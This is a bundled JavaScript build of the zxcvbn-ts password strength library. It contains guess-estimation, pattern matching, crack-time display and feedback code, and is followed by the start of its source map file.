Object.keys(zxcvbnOptions.graphs[graph]).length; const averageDegree = calcAverageDegree(zxcvbnOptions.graphs[graph]); let guesses = 0; const tokenLength = token.length; // # estimate the number of possible patterns w/ tokenLength or less with turns or less. for (let i = 2; i <= tokenLength; i += 1) { const possibleTurns = Math.min(turns, i - 1); for (let j = 1; j <= possibleTurns; j += 1) { guesses += utils.nCk(i - 1, j - 1) * startingPosition * averageDegree ** j; } } return guesses; }; var spatialMatcher$1 = (({ graph, token, shiftedCount, turns }) => { let guesses = estimatePossiblePatterns({ token, graph, turns }); // add extra guesses for shifted keys. (% instead of 5, A instead of a.) // math is similar to extra guesses of l33t substitutions in dictionary matches. if (shiftedCount) { const unShiftedCount = token.length - shiftedCount; if (shiftedCount === 0 || unShiftedCount === 0) { guesses *= 2; } else { let shiftedVariations = 0; for (let i = 1; i <= Math.min(shiftedCount, unShiftedCount); i += 1) { shiftedVariations += utils.nCk(shiftedCount + unShiftedCount, i); } guesses *= shiftedVariations; } } return Math.round(guesses); }); const getMinGuesses = (match, password) => { let minGuesses = 1; if (match.token.length < password.length) { if (match.token.length === 1) { minGuesses = MIN_SUBMATCH_GUESSES_SINGLE_CHAR; } else { minGuesses = MIN_SUBMATCH_GUESSES_MULTI_CHAR; } } return minGuesses; }; const matchers = { bruteforce: bruteforceMatcher$1, date: dateMatcher$1, dictionary: dictionaryMatcher$1, regex: regexMatcher$1, repeat: repeatMatcher$1, sequence: sequenceMatcher$1, spatial: spatialMatcher$1 }; const getScoring = (name, match) => { if (matchers[name]) { return matchers[name](match); } if (zxcvbnOptions.matchers[name] && 'scoring' in zxcvbnOptions.matchers[name]) { return zxcvbnOptions.matchers[name].scoring(match); } return 0; }; // ------------------------------------------------------------------------------ // guess estimation -- one function per match pattern --------------------------- // ------------------------------------------------------------------------------ var estimateGuesses = ((match, password) => { const extraData = {}; // a match's guess estimate doesn't change. cache it. if ('guesses' in match && match.guesses != null) { return match; } const minGuesses = getMinGuesses(match, password); const estimationResult = getScoring(match.pattern, match); let guesses = 0; if (typeof estimationResult === 'number') { guesses = estimationResult; } else if (match.pattern === 'dictionary') { guesses = estimationResult.calculation; extraData.baseGuesses = estimationResult.baseGuesses; extraData.uppercaseVariations = estimationResult.uppercaseVariations; extraData.l33tVariations = estimationResult.l33tVariations; } const matchGuesses = Math.max(guesses, minGuesses); return { ...match, ...extraData, guesses: matchGuesses, guessesLog10: utils.log10(matchGuesses) }; }); const scoringHelper = { password: '', optimal: {}, excludeAdditive: false, fillArray(size, valueType) { const result = []; for (let i = 0; i < size; i += 1) { let value = []; if (valueType === 'object') { value = {}; } result.push(value); } return result; }, // helper: make bruteforce match objects spanning i to j, inclusive. makeBruteforceMatch(i, j) { return { pattern: 'bruteforce', token: this.password.slice(i, +j + 1 || 9e9), i, j }; }, // helper: considers whether a length-sequenceLength // sequence ending at match m is better (fewer guesses) // than previously encountered sequences, updating state if so. update(match, sequenceLength) { const k = match.j; const estimatedMatch = estimateGuesses(match, this.password); let pi = estimatedMatch.guesses; if (sequenceLength > 1) { // we're considering a length-sequenceLength sequence ending with match m: // obtain the product term in the minimization function by multiplying m's guesses // by the product of the length-(sequenceLength-1) // sequence ending just before m, at m.i - 1. pi *= this.optimal.pi[estimatedMatch.i - 1][sequenceLength - 1]; } // calculate the minimization func let g = utils.factorial(sequenceLength) * pi; if (!this.excludeAdditive) { g += MIN_GUESSES_BEFORE_GROWING_SEQUENCE ** (sequenceLength - 1); } // update state if new best. // first see if any competing sequences covering this prefix, // with sequenceLength or fewer matches, // fare better than this sequence. if so, skip it and return. let shouldSkip = false; Object.keys(this.optimal.g[k]).forEach(competingPatternLength => { const competingMetricMatch = this.optimal.g[k][competingPatternLength]; if (parseInt(competingPatternLength, 10) <= sequenceLength) { if (competingMetricMatch <= g) { shouldSkip = true; } } }); if (!shouldSkip) { // this sequence might be part of the final optimal sequence. this.optimal.g[k][sequenceLength] = g; this.optimal.m[k][sequenceLength] = estimatedMatch; this.optimal.pi[k][sequenceLength] = pi; } }, // helper: evaluate bruteforce matches ending at passwordCharIndex. bruteforceUpdate(passwordCharIndex) { // see if a single bruteforce match spanning the passwordCharIndex-prefix is optimal. let match = this.makeBruteforceMatch(0, passwordCharIndex); this.update(match, 1); for (let i = 1; i <= passwordCharIndex; i += 1) { // generate passwordCharIndex bruteforce matches, spanning from (i=1, j=passwordCharIndex) up to (i=passwordCharIndex, j=passwordCharIndex). // see if adding these new matches to any of the sequences in optimal[i-1] // leads to new bests. match = this.makeBruteforceMatch(i, passwordCharIndex); const tmp = this.optimal.m[i - 1]; // eslint-disable-next-line no-loop-func Object.keys(tmp).forEach(sequenceLength => { const lastMatch = tmp[sequenceLength]; // corner: an optimal sequence will never have two adjacent bruteforce matches. // it is strictly better to have a single bruteforce match spanning the same region: // same contribution to the guess product with a lower length. // --> safe to skip those cases. if (lastMatch.pattern !== 'bruteforce') { // try adding m to this length-sequenceLength sequence. this.update(match, parseInt(sequenceLength, 10) + 1); } }); } }, // helper: step backwards through optimal.m starting at the end, // constructing the final optimal match sequence. unwind(passwordLength) { const optimalMatchSequence = []; let k = passwordLength - 1; // find the final best sequence length and score let sequenceLength = 0; // eslint-disable-next-line no-loss-of-precision let g = 2e308; const temp = this.optimal.g[k]; // safety check for empty passwords if (temp) { Object.keys(temp).forEach(candidateSequenceLength => { const candidateMetricMatch = temp[candidateSequenceLength]; if (candidateMetricMatch < g) { sequenceLength = parseInt(candidateSequenceLength, 10); g = candidateMetricMatch; } }); } while (k >= 0) { const match = this.optimal.m[k][sequenceLength]; optimalMatchSequence.unshift(match); k = match.i - 1; sequenceLength -= 1; } return optimalMatchSequence; } }; var scoring = { // ------------------------------------------------------------------------------ // search --- most guessable match sequence ------------------------------------- // ------------------------------------------------------------------------------ // // takes a sequence of overlapping matches, returns the non-overlapping sequence with // minimum guesses. the following is a O(l_max * (n + m)) dynamic programming algorithm // for a length-n password with m candidate matches. l_max is the maximum optimal // sequence length spanning each prefix of the password. In practice it rarely exceeds 5 and the // search terminates rapidly. // // the optimal "minimum guesses" sequence is here defined to be the sequence that // minimizes the following function: // // g = sequenceLength! * Product(m.guesses for m in sequence) + D^(sequenceLength - 1) // // where sequenceLength is the length of the sequence. // // the factorial term is the number of ways to order sequenceLength patterns. // // the D^(sequenceLength-1) term is another length penalty, roughly capturing the idea that an // attacker will try lower-length sequences first before trying length-sequenceLength sequences. // // for example, consider a sequence that is date-repeat-dictionary. // - an attacker would need to try other date-repeat-dictionary combinations, // hence the product term. // - an attacker would need to try repeat-date-dictionary, dictionary-repeat-date, // ..., hence the factorial term. // - an attacker would also likely try length-1 (dictionary) and length-2 (dictionary-date) // sequences before length-3. assuming at minimum D guesses per pattern type, // D^(sequenceLength-1) approximates Sum(D^i for i in [1..sequenceLength-1] // // ------------------------------------------------------------------------------ mostGuessableMatchSequence(password, matches, excludeAdditive = false) { scoringHelper.password = password; scoringHelper.excludeAdditive = excludeAdditive; const passwordLength = password.length; // partition matches into sublists according to ending index j let matchesByCoordinateJ = scoringHelper.fillArray(passwordLength, 'array'); matches.forEach(match => { matchesByCoordinateJ[match.j].push(match); }); // small detail: for deterministic output, sort each sublist by i. matchesByCoordinateJ = matchesByCoordinateJ.map(match => match.sort((m1, m2) => m1.i - m2.i)); scoringHelper.optimal = { // optimal.m[k][sequenceLength] holds final match in the best length-sequenceLength // match sequence covering the // password prefix up to k, inclusive. // if there is no length-sequenceLength sequence that scores better (fewer guesses) than // a shorter match sequence spanning the same prefix, // optimal.m[k][sequenceLength] is undefined. m: scoringHelper.fillArray(passwordLength, 'object'), // same structure as optimal.m -- holds the product term Prod(m.guesses for m in sequence). // optimal.pi allows for fast (non-looping) updates to the minimization function. pi: scoringHelper.fillArray(passwordLength, 'object'), // same structure as optimal.m -- holds the overall metric. g: scoringHelper.fillArray(passwordLength, 'object') }; for (let k = 0; k < passwordLength; k += 1) { matchesByCoordinateJ[k].forEach(match => { if (match.i > 0) { Object.keys(scoringHelper.optimal.m[match.i - 1]).forEach(sequenceLength => { scoringHelper.update(match, parseInt(sequenceLength, 10) + 1); }); } else { scoringHelper.update(match, 1); } }); scoringHelper.bruteforceUpdate(k); } const optimalMatchSequence = scoringHelper.unwind(passwordLength); const optimalSequenceLength = optimalMatchSequence.length; const guesses = this.getGuesses(password, optimalSequenceLength); return { password, guesses, guessesLog10: utils.log10(guesses), sequence: optimalMatchSequence }; }, getGuesses(password, optimalSequenceLength) { const passwordLength = password.length; let guesses = 0; if (password.length === 0) { guesses = 1; } else { guesses = scoringHelper.optimal.g[passwordLength - 1][optimalSequenceLength]; } return guesses; } }; /* *------------------------------------------------------------------------------- * repeats (aaa, abcabcabc) ------------------------------ *------------------------------------------------------------------------------- */ class MatchRepeat { // eslint-disable-next-line max-statements match({ password, omniMatch }) { const matches = []; let lastIndex = 0; while (lastIndex < password.length) { const greedyMatch = this.getGreedyMatch(password, lastIndex); const lazyMatch = this.getLazyMatch(password, lastIndex); if (greedyMatch == null) { break; } const { match, baseToken } = this.setMatchToken(greedyMatch, lazyMatch); if (match) { const j = match.index + match[0].length - 1; const baseGuesses = this.getBaseGuesses(baseToken, omniMatch); matches.push(this.normalizeMatch(baseToken, j, match, baseGuesses)); lastIndex = j + 1; } } const hasPromises = matches.some(match => { return match instanceof Promise; }); if (hasPromises) { return Promise.all(matches); } return matches; } // eslint-disable-next-line max-params normalizeMatch(baseToken, j, match, baseGuesses) { const baseMatch = { pattern: 'repeat', i: match.index, j, token: match[0], baseToken, baseGuesses: 0, repeatCount: match[0].length / baseToken.length }; if (baseGuesses instanceof Promise) { return baseGuesses.then(resolvedBaseGuesses => { return { ...baseMatch, baseGuesses: resolvedBaseGuesses }; }); } return { ...baseMatch, baseGuesses }; } getGreedyMatch(password, lastIndex) { const greedy = /(.+)\1+/g; greedy.lastIndex = lastIndex; return greedy.exec(password); } getLazyMatch(password, lastIndex) { const lazy = /(.+?)\1+/g; lazy.lastIndex = lastIndex; return lazy.exec(password); } setMatchToken(greedyMatch, lazyMatch) { const lazyAnchored = /^(.+?)\1+$/; let match; let baseToken = ''; if (lazyMatch && greedyMatch[0].length > lazyMatch[0].length) { // greedy beats lazy for 'aabaab' // greedy: [aabaab, aab] // lazy: [aa, a] match = greedyMatch; // greedy's repeated string might itself be repeated, eg. // aabaab in aabaabaabaab. // run an anchored lazy match on greedy's repeated string // to find the shortest repeated string const temp = lazyAnchored.exec(match[0]); if (temp) { baseToken = temp[1]; } } else { // lazy beats greedy for 'aaaaa' // greedy: [aaaa, aa] // lazy: [aaaaa, a] match = lazyMatch; if (match) { baseToken = match[1]; } } return { match, baseToken }; } getBaseGuesses(baseToken, omniMatch) { const matches = omniMatch.match(baseToken); if (matches instanceof Promise) { return matches.then(resolvedMatches => { const baseAnalysis = scoring.mostGuessableMatchSequence(baseToken, resolvedMatches); return baseAnalysis.guesses; }); } const baseAnalysis = scoring.mostGuessableMatchSequence(baseToken, matches); return baseAnalysis.guesses; } } /* *------------------------------------------------------------------------------- * sequences (abcdef) ------------------------------ *------------------------------------------------------------------------------- */ class MatchSequence { constructor() { this.MAX_DELTA = 5; } // eslint-disable-next-line max-statements match({ password }) { /* * Identifies sequences by looking for repeated differences in unicode codepoint. * this allows skipping, such as 9753, and also matches some extended unicode sequences * such as Greek and Cyrillic alphabets. * * for example, consider the input 'abcdb975zy' * * password: a b c d b 9 7 5 z y * index: 0 1 2 3 4 5 6 7 8 9 * delta: 1 1 1 -2 -41 -2 -2 69 1 * * expected result: * [(i, j, delta), ...] = [(0, 3, 1), (5, 7, -2), (8, 9, 1)] */ const result = []; if (password.length === 1) { return []; } let i = 0; let lastDelta = null; const passwordLength = password.length; for (let k = 1; k < passwordLength; k += 1) { const delta = password.charCodeAt(k) - password.charCodeAt(k - 1); if (lastDelta == null) { lastDelta = delta; } if (delta !== lastDelta) { const j = k - 1; this.update({ i, j, delta: lastDelta, password, result }); i = j; lastDelta = delta; } } this.update({ i, j: passwordLength - 1, delta: lastDelta, password, result }); return result; } update({ i, j, delta, password, result }) { if (j - i > 1 || Math.abs(delta) === 1) { const absoluteDelta = Math.abs(delta); if (absoluteDelta > 0 && absoluteDelta <= this.MAX_DELTA) { const token = password.slice(i, +j + 1 || 9e9); const { sequenceName, sequenceSpace } = this.getSequence(token); return result.push({ pattern: 'sequence', i, j, token: password.slice(i, +j + 1 || 9e9), sequenceName, sequenceSpace, ascending: delta > 0 }); } } return null; } getSequence(token) { // TODO conservatively stick with roman alphabet size. // (this could be improved) let sequenceName = 'unicode'; let sequenceSpace = 26; if (ALL_LOWER.test(token)) { sequenceName = 'lower'; sequenceSpace = 26; } else if (ALL_UPPER.test(token)) { sequenceName = 'upper'; sequenceSpace = 26; } else if (ALL_DIGIT.test(token)) { sequenceName = 'digits'; sequenceSpace = 10; } return { sequenceName, sequenceSpace }; } } /* * ------------------------------------------------------------------------------ * spatial match (qwerty/dvorak/keypad and so on) ----------------------------------------- * ------------------------------------------------------------------------------ */ class MatchSpatial { constructor() { this.SHIFTED_RX = /[~!@#$%^&*()_+QWERTYUIOP{}|ASDFGHJKL:"ZXCVBNM<>?]/; } match({ password }) { const matches = []; Object.keys(zxcvbnOptions.graphs).forEach(graphName => { const graph = zxcvbnOptions.graphs[graphName]; extend(matches, this.helper(password, graph, graphName)); }); return sorted(matches); } checkIfShifted(graphName, password, index) { if (!graphName.includes('keypad') && // initial character is shifted this.SHIFTED_RX.test(password.charAt(index))) { return 1; } return 0; } // eslint-disable-next-line complexity, max-statements helper(password, graph, graphName) { let shiftedCount; const matches = []; let i = 0; const passwordLength = password.length; while (i < passwordLength - 1) { let j = i + 1; let lastDirection = 0; let turns = 0; shiftedCount = this.checkIfShifted(graphName, password, i); // eslint-disable-next-line no-constant-condition while (true) { const prevChar = password.charAt(j - 1); const adjacents = graph[prevChar] || []; let found = false; let foundDirection = -1; let curDirection = -1; // consider growing pattern by one character if j hasn't gone over the edge. if (j < passwordLength) { const curChar = password.charAt(j); const adjacentsLength = adjacents.length; for (let k = 0; k < adjacentsLength; k += 1) { const adjacent = adjacents[k]; curDirection += 1; // eslint-disable-next-line max-depth if (adjacent) { const adjacentIndex = adjacent.indexOf(curChar); // eslint-disable-next-line max-depth if (adjacentIndex !== -1) { found = true; foundDirection = curDirection; // eslint-disable-next-line max-depth if (adjacentIndex === 1) { // # index 1 in the adjacency means the key is shifted, // # 0 means unshifted: A vs a, % vs 5, etc. // # for example, 'q' is adjacent to the entry '2@'. // # @ is shifted w/ index 1, 2 is unshifted. shiftedCount += 1; } // eslint-disable-next-line max-depth if (lastDirection !== foundDirection) { // # adding a turn is correct even in the initial // case when last_direction is null: // # every spatial pattern starts with a turn. turns += 1; lastDirection = foundDirection; } break; } } } } // if the current pattern continued, extend j and try to grow again if (found) { j += 1; // otherwise push the pattern discovered so far, if any... } else { // don't consider length 1 or 2 chains. if (j - i > 2) { matches.push({ pattern: 'spatial', i, j: j - 1, token: password.slice(i, j), graph: graphName, turns, shiftedCount }); } // ...and then start a new search for the rest of the password. i = j; break; } } } return matches; } } class Matching { constructor() { this.matchers = { date: MatchDate, dictionary: MatchDictionary, regex: MatchRegex, // @ts-ignore => TODO resolve this type issue. This is because it is possible to be async repeat: MatchRepeat, sequence: MatchSequence, spatial: MatchSpatial }; } match(password) { const matches = []; const promises = []; const matchers = [...Object.keys(this.matchers), ...Object.keys(zxcvbnOptions.matchers)]; matchers.forEach(key => { if (!this.matchers[key] && !zxcvbnOptions.matchers[key]) { return; } const Matcher = this.matchers[key] ? this.matchers[key] : zxcvbnOptions.matchers[key].Matching; const usedMatcher = new Matcher(); const result = usedMatcher.match({ password, omniMatch: this }); if (result instanceof Promise) { result.then(response => { extend(matches, response); }); promises.push(result); } else { extend(matches, result); } }); if (promises.length > 0) { return new Promise(resolve => { Promise.all(promises).then(() => { resolve(sorted(matches)); }); }); } return sorted(matches); } } const SECOND = 1; const MINUTE = SECOND * 60; const HOUR = MINUTE * 60; const DAY = HOUR * 24; const MONTH = DAY * 31; const YEAR = MONTH * 12; const CENTURY = YEAR * 100; const times = { second: SECOND, minute: MINUTE, hour: HOUR, day: DAY, month: MONTH, year: YEAR, century: CENTURY }; /* * ------------------------------------------------------------------------------- * Estimates time for an attacker --------------------------------------------------------------- * ------------------------------------------------------------------------------- */ class TimeEstimates { translate(displayStr, value) { let key = displayStr; if (value !== undefined && value !== 1) { key += 's'; } const { timeEstimation } = zxcvbnOptions.translations; return timeEstimation[key].replace('{base}', `${value}`); } estimateAttackTimes(guesses) { const crackTimesSeconds = { onlineThrottling100PerHour: guesses / (100 / 3600), onlineNoThrottling10PerSecond: guesses / 10, offlineSlowHashing1e4PerSecond: guesses / 1e4, offlineFastHashing1e10PerSecond: guesses / 1e10 }; const crackTimesDisplay = { onlineThrottling100PerHour: '', onlineNoThrottling10PerSecond: '', offlineSlowHashing1e4PerSecond: '', offlineFastHashing1e10PerSecond: '' }; Object.keys(crackTimesSeconds).forEach(scenario => { const seconds = crackTimesSeconds[scenario]; crackTimesDisplay[scenario] = this.displayTime(seconds); }); return { crackTimesSeconds, crackTimesDisplay, score: this.guessesToScore(guesses) }; } guessesToScore(guesses) { const DELTA = 5; if (guesses < 1e3 + DELTA) { // risky password: "too guessable" return 0; } if (guesses < 1e6 + DELTA) { // modest protection from throttled online attacks: "very guessable" return 1; } if (guesses < 1e8 + DELTA) { // modest protection from unthrottled online attacks: "somewhat guessable" return 2; } if (guesses < 1e10 + DELTA) { // modest protection from offline attacks: "safely unguessable" // assuming a salted, slow hash function like bcrypt, scrypt, PBKDF2, argon, etc return 3; } // strong protection from offline attacks under same scenario: "very unguessable" return 4; } displayTime(seconds) { let displayStr = 'centuries'; let base; const timeKeys = Object.keys(times); const foundIndex = timeKeys.findIndex(time => seconds < times[time]); if (foundIndex > -1) { displayStr = timeKeys[foundIndex - 1]; if (foundIndex !== 0) { base = Math.round(seconds / times[displayStr]); } else { displayStr = 'ltSecond'; } } return this.translate(displayStr, base); } } var bruteforceMatcher = (() => { return null; }); var dateMatcher = (() => { return { warning: zxcvbnOptions.translations.warnings.dates, suggestions: [zxcvbnOptions.translations.suggestions.dates] }; }); const getDictionaryWarningPassword = (match, isSoleMatch) => { let warning = ''; if (isSoleMatch && !match.l33t && !match.reversed) { if (match.rank <= 10) { warning = zxcvbnOptions.translations.warnings.topTen; } else if (match.rank <= 100) { warning = zxcvbnOptions.translations.warnings.topHundred; } else { warning = zxcvbnOptions.translations.warnings.common; } } else if (match.guessesLog10 <= 4) { warning = zxcvbnOptions.translations.warnings.similarToCommon; } return warning; }; const getDictionaryWarningWikipedia = (match, isSoleMatch) => { let warning = ''; if (isSoleMatch) { warning = zxcvbnOptions.translations.warnings.wordByItself; } return warning; }; const getDictionaryWarningNames = (match, isSoleMatch) => { if (isSoleMatch) { return zxcvbnOptions.translations.warnings.namesByThemselves; } return zxcvbnOptions.translations.warnings.commonNames; }; const getDictionaryWarning = (match, isSoleMatch) => { let warning = ''; const dictName = match.dictionaryName; const isAName = dictName === 'lastnames' || dictName.toLowerCase().includes('firstnames'); if (dictName === 'passwords') { warning = getDictionaryWarningPassword(match, isSoleMatch); } else if (dictName.includes('wikipedia')) { warning = getDictionaryWarningWikipedia(match, isSoleMatch); } else if (isAName) { warning = getDictionaryWarningNames(match, isSoleMatch); } else if (dictName === 'userInputs') { warning = zxcvbnOptions.translations.warnings.userInputs; } return warning; }; var dictionaryMatcher = ((match, isSoleMatch) => { const warning = getDictionaryWarning(match, isSoleMatch); const suggestions = []; const word = match.token; if (word.match(START_UPPER)) { suggestions.push(zxcvbnOptions.translations.suggestions.capitalization); } else if (word.match(ALL_UPPER_INVERTED) && word.toLowerCase() !== word) { suggestions.push(zxcvbnOptions.translations.suggestions.allUppercase); } if (match.reversed && match.token.length >= 4) { suggestions.push(zxcvbnOptions.translations.suggestions.reverseWords); } if (match.l33t) { suggestions.push(zxcvbnOptions.translations.suggestions.l33t); } return { warning, suggestions }; }); var regexMatcher = (match => { if (match.regexName === 'recentYear') { return { warning: zxcvbnOptions.translations.warnings.recentYears, suggestions: [zxcvbnOptions.translations.suggestions.recentYears, zxcvbnOptions.translations.suggestions.associatedYears] }; } return { warning: '', suggestions: [] }; }); var repeatMatcher = (match => { let warning = zxcvbnOptions.translations.warnings.extendedRepeat; if (match.baseToken.length === 1) { warning = zxcvbnOptions.translations.warnings.simpleRepeat; } return { warning, suggestions: [zxcvbnOptions.translations.suggestions.repeated] }; }); var sequenceMatcher = (() => { return { warning: zxcvbnOptions.translations.warnings.sequences, suggestions: [zxcvbnOptions.translations.suggestions.sequences] }; }); var spatialMatcher = (match => { let warning = zxcvbnOptions.translations.warnings.keyPattern; if (match.turns === 1) { warning = zxcvbnOptions.translations.warnings.straightRow; } return { warning, suggestions: [zxcvbnOptions.translations.suggestions.longerKeyboardPattern] }; }); const defaultFeedback = { warning: '', suggestions: [] }; /* * ------------------------------------------------------------------------------- * Generate feedback --------------------------------------------------------------- * ------------------------------------------------------------------------------- */ class Feedback { constructor() { this.matchers = { bruteforce: bruteforceMatcher, date: dateMatcher, dictionary: dictionaryMatcher, regex: regexMatcher, repeat: repeatMatcher, sequence: sequenceMatcher, spatial: spatialMatcher }; this.defaultFeedback = { warning: '', suggestions: [] }; this.setDefaultSuggestions(); } setDefaultSuggestions() { this.defaultFeedback.suggestions.push(zxcvbnOptions.translations.suggestions.useWords, zxcvbnOptions.translations.suggestions.noNeed); } getFeedback(score, sequence) { if (sequence.length === 0) { return this.defaultFeedback; } if (score > 2) { return defaultFeedback; } const extraFeedback = zxcvbnOptions.translations.suggestions.anotherWord; const longestMatch = this.getLongestMatch(sequence); let feedback = this.getMatchFeedback(longestMatch, sequence.length === 1); if (feedback !== null && feedback !== undefined) { feedback.suggestions.unshift(extraFeedback); if (feedback.warning == null) { feedback.warning = ''; } } else { feedback = { warning: '', suggestions: [extraFeedback] }; } return feedback; } getLongestMatch(sequence) { let longestMatch = sequence[0]; const slicedSequence = sequence.slice(1); slicedSequence.forEach(match => { if (match.token.length > longestMatch.token.length) { longestMatch = match; } }); return longestMatch; } getMatchFeedback(match, isSoleMatch) { if (this.matchers[match.pattern]) { return this.matchers[match.pattern](match, isSoleMatch); } if (zxcvbnOptions.matchers[match.pattern] && 'feedback' in zxcvbnOptions.matchers[match.pattern]) { return zxcvbnOptions.matchers[match.pattern].feedback(match, isSoleMatch); } return defaultFeedback; } } /** * @link https://davidwalsh.name/javascript-debounce-function */ var debounce = ((func, wait, isImmediate) => { let timeout; return function debounce(...args) { const context = this; const later = () => { timeout = undefined; if (!isImmediate) { func.apply(context, args); } }; const shouldCallNow = isImmediate && !timeout; if (timeout !== undefined) { clearTimeout(timeout); } timeout = setTimeout(later, wait); if (shouldCallNow) { return func.apply(context, args); } return undefined; }; }); const time = () => new Date().getTime(); const createReturnValue = (resolvedMatches, password, start) => { const feedback = new Feedback(); const timeEstimates = new TimeEstimates(); const matchSequence = scoring.mostGuessableMatchSequence(password, resolvedMatches); const calcTime = time() - start; const attackTimes = timeEstimates.estimateAttackTimes(matchSequence.guesses); return { calcTime, ...matchSequence, ...attackTimes, feedback: feedback.getFeedback(attackTimes.score, matchSequence.sequence) }; }; const main = (password, userInputs) => { if (userInputs) { zxcvbnOptions.extendUserInputsDictionary(userInputs); } const matching = new Matching(); return matching.match(password); }; const zxcvbn = (password, userInputs) => { const start = time(); const matches = main(password, userInputs); if (matches instanceof Promise) { throw new Error('You are using a Promised matcher, please use `zxcvbnAsync` for it.'); } return createReturnValue(matches, password, start); }; const zxcvbnAsync = async (password, userInputs) => { const start = time(); const matches = await main(password, userInputs); return createReturnValue(matches, password, start); }; exports.debounce = debounce; exports.zxcvbn = zxcvbn; exports.zxcvbnAsync = zxcvbnAsync; exports.zxcvbnOptions = zxcvbnOptions; Object.defineProperty(exports, '__esModule', { value: true }); return exports; })({}); //# sourceMappingURL=zxcvbn-ts.js.map ��������������������������������������������������������������vendor/zxcvbn-ts.js.map�����������������������������������������������������������������������������0000666�����������������00000233173�15172447206�0011136 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{"version":3,"file":"zxcvbn-ts.js","sources":["../src/helper.ts","../src/data/dateSplits.ts","../src/data/const.ts","../src/matcher/date/matching.ts","../src/vendor/fastest-levenshtein.ts","../src/levenshtein.ts","../src/data/l33tTable.ts","../src/data/translationKeys.ts","../src/Options.ts","../src/matcher/dictionary/variants/matching/reverse.ts","../src/matcher/dictionary/variants/matching/l33t.ts","../src/matcher/dictionary/matching.ts","../src/matcher/regex/matching.ts","../src/scoring/utils.ts","../src/matcher/bruteforce/scoring.ts","../src/matcher/date/scoring.ts","../src/matcher/dictionary/variants/scoring/uppercase.ts","../src/matcher/dictionary/variants/scoring/l33t.ts","../src/matcher/dictionary/scoring.ts","../src/matcher/regex/scoring.ts","../src/matcher/repeat/scoring.ts","../src/matcher/sequence/scoring.ts","../src/matcher/spatial/scoring.ts","../src/scoring/estimate.ts","../src/scoring/index.ts","../src/matcher/repeat/matching.ts","../src/matcher/sequence/matching.ts","../src/matcher/spatial/matching.ts","../src/Matching.ts","../src/TimeEstimates.ts","../src/matcher/bruteforce/feedback.ts","../src/matcher/date/feedback.ts","../src/matcher/dictionary/feedback.ts","../src/matcher/regex/feedback.ts","../src/matcher/repeat/feedback.ts","../src/matcher/sequence/feedback.ts","../src/matcher/spatial/feedback.ts","../src/Feedback.ts","../src/debounce.ts","../src/index.ts"],"sourcesContent":[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null],"names":["empty","obj","Object","keys","length","extend","listToExtend","list","push","apply","translate","string","chrMap","tempArray","split","map","char","join","sorted","matches","sort","m1","m2","i","j","buildRankedDictionary","orderedList","result","counter","forEach","word","DATE_MAX_YEAR","DATE_MIN_YEAR","DATE_SPLITS","dateSplits","BRUTEFORCE_CARDINALITY","MIN_GUESSES_BEFORE_GROWING_SEQUENCE","MIN_SUBMATCH_GUESSES_SINGLE_CHAR","MIN_SUBMATCH_GUESSES_MULTI_CHAR","MIN_YEAR_SPACE","START_UPPER","END_UPPER","ALL_UPPER","ALL_UPPER_INVERTED","ALL_LOWER","ALL_LOWER_INVERTED","ONE_LOWER","ONE_UPPER","ALPHA_INVERTED","ALL_DIGIT","REFERENCE_YEAR","Date","getFullYear","REGEXEN","recentYear","MatchDate","match","password","getMatchesWithoutSeparator","getMatchesWithSeparator","filteredMatches","filterNoise","maybeDateWithSeparator","Math","abs","token","slice","regexMatch","exec","dmy","mapIntegersToDayMonthYear","parseInt","pattern","separator","year","month","day","maybeDateNoSeparator","metric","candidate","candidates","index","splittedDates","k","l","bestCandidate","minDistance","distance","filter","isSubmatch","matchesLength","o","otherMatch","integers","over12","over31","under1","len1","int","getDayMonth","possibleYearSplits","possibleYearSplitsLength","y","rest","dm","mapIntegersToDayMonth","twoToFourDigitYear","temp","reverse","data","peq","Uint32Array","myers_32","a","b","n","m","lst","pv","mv","sc","charCodeAt","eq","xv","myers_x","mhc","phc","hsize","ceil","vsize","start","vlen","min","pb","mb","xh","ph","mh","score","tmp","getUsedThreshold","entry","threshold","isPasswordToShort","isThresholdLongerThanPassword","shouldUsePasswordLength","findLevenshteinDistance","rankedDictionary","foundDistance","found","find","usedThreshold","foundEntryDistance","isInThreshold","levenshteinDistance","levenshteinDistanceEntry","c","e","g","s","t","x","z","warnings","straightRow","keyPattern","simpleRepeat","extendedRepeat","sequences","recentYears","dates","topTen","topHundred","common","similarToCommon","wordByItself","namesByThemselves","commonNames","userInputs","pwned","suggestions","l33t","reverseWords","allUppercase","capitalization","associatedYears","repeated","longerKeyboardPattern","anotherWord","useWords","noNeed","timeEstimation","ltSecond","second","seconds","minute","minutes","hour","hours","days","months","years","centuries","Options","constructor","matchers","l33tTable","dictionary","rankedDictionaries","translations","translationKeys","graphs","availableGraphs","useLevenshteinDistance","levenshteinThreshold","setRankedDictionaries","setOptions","options","setTranslations","undefined","checkCustomTranslations","Error","valid","type","translationType","key","name","getRankedDictionary","sanitizedInputs","input","inputType","toString","toLowerCase","extendUserInputsDictionary","addMatcher","matcher","console","info","zxcvbnOptions","MatchL33t","defaultMatch","passwordReversed","reversed","enumeratedSubs","enumerateL33tSubs","relevantL33tSubtable","sub","subbedPassword","matchedDictionary","matchedWord","matchSub","subbedChr","chr","indexOf","subDisplay","table","passwordChars","subTable","letter","subs","relevantSubs","tableKeys","getSubs","subDict","l33tChr","firstKey","restKeys","nextSubs","dupL33tIndex","subExtension","concat","subAlternative","splice","newSubs","dedup","deduped","members","assoc","label","v","MatchDictionary","L33t","Reverse","passwordLength","passwordLower","dictionaryName","rankedDict","usedPassword","isInDictionary","foundLevenshteinDistance","isFullPassword","isLevenshteinMatch","usedRankPassword","rank","MatchRegex","regexes","regex","lastIndex","regexName","nCk","count","coEff","log10","log","log2","factorial","num","rval","guesses","Number","POSITIVE_INFINITY","MAX_VALUE","minGuesses","max","yearSpace","getVariations","cleanedWord","wordArray","upperCaseCount","lowerCaseCount","variations","variationLength","utils","replace","commonCases","commonCasesLength","getCounts","subbed","unsubbed","chrs","subbedCount","unsubbedCount","p","possibilities","baseGuesses","uppercaseVariations","uppercaseVariant","l33tVariations","l33tVariant","reversedVariations","calculation","charClassBases","alphaLower","alphaUpper","alpha","alphanumeric","digits","symbols","repeatCount","ascending","firstChr","charAt","startingPoints","includes","calcAverageDegree","graph","average","neighbors","entries","estimatePossiblePatterns","turns","startingPosition","averageDegree","tokenLength","possibleTurns","shiftedCount","unShiftedCount","shiftedVariations","round","getMinGuesses